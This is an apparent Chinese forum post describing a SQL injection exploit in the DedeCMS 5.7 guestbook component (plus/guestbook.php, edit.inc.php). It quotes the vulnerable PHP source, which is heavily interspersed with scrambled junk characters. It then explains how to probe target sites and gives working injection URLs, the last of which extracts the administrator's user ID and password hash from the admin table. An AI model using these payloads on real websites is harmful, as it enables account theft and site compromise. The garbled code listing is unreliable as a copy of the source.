dedecms5.7最新sql注射漏洞利用 guestbook.php

admin

影响版本为5.7

漏洞文件edit.inc.php具体代码：

< ?php  
* `/ k2 x. G& O2 X, @" P, [
if(!defined('DEDEINC')) exit('Request Error!');  

/ b8 ?4 l3 c+ n9 `, i  i+ H   
* ^3 x: V3 d& w7 h  H1 d; Y" S$ m, u. G
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
; g# v2 S) |8 q9 ~8 ?- @. M$ ^
4 Q7 `" I- Q2 [: v3 g0 Yelse $GUEST_BOOK_POS = "guestbook.php";  
, p' d2 b9 D, N0 N
. K3 i" s! ^( v8 v. W0 m: _* E) V; F   

. N3 R: ?- u+ C) J* w; O$id = intval($id);  

if(empty($job)) $job='view';  
; [, Z+ u2 ]# X
+ R% Q$ V& ~7 O3 ]/ h1 Z' s   
3 o, E" C" l1 ~4 ]* f
if($job=='del' && $g_isadmin)  

{  
' Y% Y9 f9 i) R! H( j) d$ R
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
, C) c9 u4 B8 i2 H* \
' }  v( R" I! BShowMsg("成功删除一条留言！", $GUEST_BOOK_POS);  

" z+ d2 L6 M+ L7 S( m% Y* uexit();  

7 q/ |" H: w1 E! e" N$ }5 s- U}  

+ c, w% u' Q+ A; pelse if($job=='check' && $g_isadmin)  
5 G9 e/ k. S0 _; C+ J
# d6 S' n- w: Z; R. ~+ g{  
. }+ v+ ^$ h) n' c& @  E
( e9 e1 W* P' _$ A$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  

ShowMsg("成功审核一条留言！", $GUEST_BOOK_POS);  

! m. a# @& X( O8 g& jexit();  

}  
7 [% s# P3 x6 @5 A) [
! ~, U6 o! Z0 [+ p$ z% Y# yelse if($job=='editok')  
  e& J1 x3 T8 W: u4 J8 F% W
{  
0 @7 U+ z" z+ M. q' N4 c# B
$remsg = trim($remsg);  
$ l% G. N( c7 c7 h
* [# |/ L& d# z6 J0 Xif($remsg!='')  

- U/ t" T" e: V# N: n4 N0 ^! I{  

//管理员回复不过滤HTML By:Errorera blog:errs.cc  

if($g_isadmin)  
) v4 @; F; J$ C* t# [! p( A. T$ k8 ]
5 m+ ]6 v0 {. y3 }, h7 N. }' I{  

$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  

8 ~8 K7 {% x/ K  z4 D. b//$remsg <br /><font color=red>管理员回复：</font> }  
# |  Q" Q& V% U  C3 Z
0 |: l' A  T, ]6 E' w5 h7 helse

1 Q& H7 y9 {. E! s; g7 N{  
( z9 H, w2 q" M+ {( U
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
) O; R0 V& L; n$ C3 r1 F
9 R" ]3 @) _3 v8 R  R0 @& c9 a1 |$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  

$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  

$ Z! D( S* {+ L$msg = $oldmsg.$remsg;  

}  
1 }: m# u. [# s' w; i) N
/ J; K/ u% X! Y1 f}  

+ c1 \# }+ Y6 @4 d" R; W, W//这里没有对$msg过滤，导致可以任意注入了By:Errorera home:www.errs.cc  
: l. ^) L( j: D2 t9 D" h7 u3 G" Q# {( x
# w( `# O2 U% P0 S; ?$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
4 M# J9 \4 Q" I( l. x; n
ShowMsg("成功更改或回复一条留言！", $GUEST_BOOK_POS);  
- V0 I9 i* Z0 ?5 Y% I9 c
- L9 M) N% O, J6 A$ K3 Sexit();  

}  
5 t! Z4 |. t( }! g5 X+ ~! _
//home:www.errs.cc  

8 t2 F- t- ?. N1 V$ V1 mif($g_isadmin)  
2 R0 I: i2 ^( l/ O
{  
" m, K# x/ C7 f+ t/ T0 i. h7 K% G
2 ?  {0 l% p- s) v) f  R$ P- U$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
2 Z0 K, S& h) A6 Z  W' h
* B* g! Q( [6 a  n- v+ E' L" hrequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
4 H- l0 p+ W& D5 s- l& B; c
}  
; N! @! T" K; I: s$ j
else

, Z4 B5 F4 Z$ R{  
' Z; x9 b. @/ m3 i
1 c* }5 i' b6 h' ?: u8 w" Y$ Q1 I$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  

require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
1 ~( @6 \# a" A8 P  p  ]" _" B% `
2 C9 R3 @! R, t5 A} 漏洞成功需要条件：
. S* e# K9 [3 n" \1 H8 m' b1. php magic_quotes_gpc=off
. F% n6 R* q) V. f( v$ O# c2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
  S0 N& O9 G" u, @' w1 [- l
怎么判断是否存在漏洞：
+ x' W0 I' H" _- `1 p! A先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言，
3 ^* q" G' n6 q然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
访问：
; d. F7 x% `" y6 g' Q) c6 ?* j
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
+ O1 A; Z# k9 a4 D/ d( G" V
, W0 }2 k  T2 T9 B+ w; z% ^: t
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
1 F/ L. i* d% x1 Z如果没有修改成功，那留言ID的内容还是以前的 那就证明漏洞可以利用。
" v' X1 y; H% j1 V8 W6 R那么再次访问

* Q* S6 D% @: k( }www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回，那条留言ID的内容就直接修改成了mysql 的user().

大概利用就是这样，大家有兴趣的多研究下！！
4 g0 `4 W1 ?/ z1 G  g& v% a& l. k# X
. \8 A; q9 t- N& v# {6 U最后补充下，估计有人会说怎么暴管理后台帐户密码，你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)！！

8 X: }5 f# g, P' @* iview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='